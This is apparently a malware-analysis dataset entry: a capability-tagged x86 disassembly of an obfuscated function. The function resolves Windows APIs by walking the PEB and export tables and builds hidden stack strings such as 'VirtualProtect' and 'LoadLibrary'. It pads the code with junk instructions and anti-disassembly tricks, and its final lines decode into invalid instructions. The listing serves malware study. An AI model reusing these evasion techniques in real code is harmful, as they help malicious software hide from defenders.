Function at 0x417f56
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor ebx, 0xf7ab
add ebx, 0x38cc
pop ebx
push ecx
push edi
add esp, 4
jmp 0x417b89
pop ecx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1600], edx
cmp dword [ebp - 0x1600], 0
jne 0x417bba
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x417eab
mov ecx, dword [ebp - 0x1600]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1604], edx
jne 0x417be2
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x417eab
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1604]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1608], ecx
cmp dword [ebp - 0x1608], 0
jne 0x417c14
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x417eab
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1608]
mov dword [ebp - 0x764], eax
jne 0x417c39
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x417eab
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1d04], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1980], ecx
mov dword [ebp - 0x768], 0
jmp 0x417c93
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x417e9f
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x197c]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1d04]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1980]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1984], eax
mov dword [ebp - 0x1a0], 0
jmp 0x417d03
mov ecx, dword [ebp - 0x1a0]
add ecx, 1
mov dword [ebp - 0x1a0], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
test eax, eax
je 0x417db5
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x417db5
push edi
push edx
add esp, 4
or edi, 0xdd8d
xor edi, 0x10a2d
and edi, 0xbe58
pop edi
push esi
push esi
add esp, 4
add esi, 0x7f6e
add esi, 0x1251c
jmp 0x417d61
pop esi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x417da7
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x417dae
jmp 0x417cf4
jmp 0x417db5
push esi
push edx
add esp, 4
and esi, 0xc21
pop esi
push edx
call 0x417dd1
add byte [esi], dh
aaa
inc ecx
dec eax
xor esi, dword [ebx]
cmp cl, byte [edi + 0x49]
add esp, 4
pop edx
push esi
push eax
add esp, 4
sub esi, 0xd54e
add esi, 0x82c8
pop esi
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x417e14
mov dword [ebp - 0xcb8], 0
jmp 0x417e83
push esi
push edi
add esp, 4
sub esi, 0x15b9b
or esi, 0x7360
or esi, 0xfd6
pop esi
push edx
add edx, 0x107d2
add edx, 0x9020
sub edx, 0x12353
or edx, 0x10383
pop edx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x417e79
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x417e83
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x417e9a
mov ecx, dword [ebp - 0x1984]
mov dword [ebp - 0x510], ecx
jmp 0x417eab
jmp 0x417c84
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push eax
push ebx
add esp, 4
add eax, 0x12dc1
pop eax
push edi
push esi
add esp, 4
and edi, 0x120f6
pop edi
push eax
and eax, 0x735
call 0x417ee5
add byte [ebp + 0x4d], al
inc eax
dec edi
inc edx
inc eax
cmp byte [ebx], bh
add esp, 4
pop eax
mov ecx, dword [ebp - 0x3f8]
add ecx, 0xe
mov dword [ebp - 0x19d4], ecx
push edx
sub edx, 0x13cb9
jmp 0x417f05
pop edx
push edx
push ebx
add esp, 4
xor edx, 0x1703c
and edx, 0x43a7
pop edx
push ecx
push eax
add esp, 4
and ecx, 0x16bca
xor ecx, 0xcbda
pop ecx
cmp dword [ebp - 0x3f8], 0
je 0x417f3c
cmp dword [ebp - 0xab4], 0
jne 0x417f82
push eax
push ecx
add esp, 4
and eax, 0xd201
call 0x417f56
add byte [edi], dh
aaa
dec esp
inc edx
inc eax
aas
xor eax, 0x4c48345
pop eax
push esi
or esi, 0x867c
pop esi
push ebx
push esi
add esp, 4
add ebx, 0x103e2
pop ebx
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1988], edx
push 0
call dword [ebp - 0x1988]
mov dword [ebp - 0x2090], 0xa
push eax
add eax, 0x12861
jmp 0x417f99
xor eax, 0x38bb
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x122c2
and ecx, 0x13a52
pop ecx
push eax
push ecx
add esp, 4
and eax, 0x16d8
pop eax
mov eax, dword [ebp - 0x3f8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab4]
sub edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x168c], edx
mov dword [ebp - 0xce8], 0
push ebx
add ebx, 0x112c
add ebx, 0x368b
and ebx, 0x3cce
pop ebx
push ecx
push edx
add esp, 4
xor ecx, 0x11ad6
xor ecx, 0x15873
sub ecx, 0xa56c
xor ecx, 0xbb6b
pop ecx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push ecx
or ecx, 0x9bff
sub ecx, 0x9155
xor ecx, 0x1138
call 0x4180a4
add byte [edi], dh
dec esp
dec ebp
push eax
inc eax
dec ecx
add esp, 4
pop ecx
push edi
xor edi, 0x163e3
or edi, 0x10daf
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x198c], eax
mov ecx, dword [ebp - 0x198c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1990], edx
mov eax, dword [ebp - 0x1990]
mov dword [ebp - 0x160c], eax
push ecx
push eax
add esp, 4
xor ecx, 0x141b6
jmp 0x4180ef
xor ecx, 0x6bbe
add ecx, 0xbb8c
pop ecx
push ecx
jmp 0x418102
sub ecx, 0x315b
xor ecx, 0xd148
pop ecx
cmp dword [ebp - 0x160c], 0
jne 0x418127
mov dword [ebp - 0x314], 0
jmp 0x4183ce
mov ecx, dword [ebp - 0x160c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ecx
push edi
add esp, 4
or ecx, 0x2ae7
or ecx, 0x16341
pop ecx
push ecx
push edi
add esp, 4
or ecx, 0xa554
add ecx, 0x10bfa
pop ecx
push eax
xor eax, 0x597f
sub eax, 0x5f13
pop eax
cmp dword [ebp - 0xcc4], 0
jne 0x418183
mov dword [ebp - 0x314], 0
jmp 0x4183ce
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push edx
push ebx
add esp, 4
xor edx, 0x10b60
sub edx, 0xc8d5
pop edx
push edi
and edi, 0x18270
sub edi, 0x10b30
pop edi
push esi
push edi
add esp, 4
xor esi, 0xa010
sub esi, 0x133e6
pop esi
lea edx, [ebp - 0x1734]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
sub eax, 0xbb81
or eax, 0xed81
or eax, 0x77e3
pop eax
push ecx
or ecx, 0x1460
sub ecx, 0xb63a
call 0x418219
add byte [edx + 0x3c], al
aas
inc edx
dec ebp
xor eax, dword [ebx - 0x7d]
les eax, [ecx + ebx*2]
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push edi
or edi, 0x5290
call 0x418288
add byte [0x3b34384e], dh
dec edx
dec ebx
add esp, 4
and edi, 0xe479
xor edi, 0x15346
pop edi
push edx
xor edx, 0x5e97
sub edx, 0x16614
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4182c3
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1614], ecx
jmp 0x41831d
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4181eb
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4181eb
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x418307
mov dword [ebp - 0x1610], 0xffffffff
jmp 0x418311
mov dword [ebp - 0x1610], 1
mov eax, dword [ebp - 0x1610]
mov dword [ebp - 0x1614], eax
cmp dword [ebp - 0x1614], 0
jne 0x418366
push eax
push ebx
add esp, 4
call 0x418338
add byte [edx], dh
cmp al, 0x4a
cmp eax, 0x83483733
les eax, [ecx + eax*4]
shr byte [esi - 0x7efffed0], 0xe0
int3
push eax
jmp 0x41836e
add eax, 0x16dc8
pop eax
push ebx
and ebx, 0x18297
add ebx, 0x17ba5
pop ebx
push ebx
xor ebx, 0x10dbd
pop ebx
push eax
xor eax, 0x12544
jmp 0x418397
pop eax
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x4183c4
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x41818f
mov dword [ebp - 0x314], 0
push ebx
add ebx, 0xd39f
sub ebx, 0x16470
xor ebx, 0x10285
and ebx, 0x67cc
pop ebx
push edx
push eax
add esp, 4
and edx, 0xd642
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x144b9
pop ebx
cmp dword [ebp - 0x314], 0
jne 0x418d05
mov eax, 0x6b
mov word [ebp - 0x178c], ax
mov ecx, 0x65
mov word [ebp - 0x178a], cx
mov edx, 0x72
mov word [ebp - 0x1788], dx
mov eax, 0x6e
mov word [ebp - 0x1786], ax
mov ecx, 0x65
mov word [ebp - 0x1784], cx
mov edx, 0x6c
mov word [ebp - 0x1782], dx
mov eax, 0x33
mov word [ebp - 0x1780], ax
mov ecx, 0x32
mov word [ebp - 0x177e], cx
mov edx, 0x2e
mov word [ebp - 0x177c], dx
mov eax, 0x64
mov word [ebp - 0x177a], ax
test dword [esi - 0x46000018], eax
insb byte es:[edi], dx
add byte [eax], al
add byte [esi - 0x77], ah
lea ecx, [eax - 0x45000018]
insb byte es:[edi], dx
add byte [eax], al
add byte [esi - 0x77], ah
xchg ebp, eax
mov ch, al
invalid
push dword [ebx]
shl byte [esi - 0x77], 0x85
mov eax, gs
invalid
call dword [eax - 0x7f]
loopne 0x4184ef
pop eax
add dword [eax], eax
jmp 0x4184b5
jmp 0x4184ba
add eax, 0x14c66
pop eax
push ecx
jmp 0x4184cb
or ecx, 0x1040b
sub ecx, 0x184b1
pop ecx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
invalid
invalid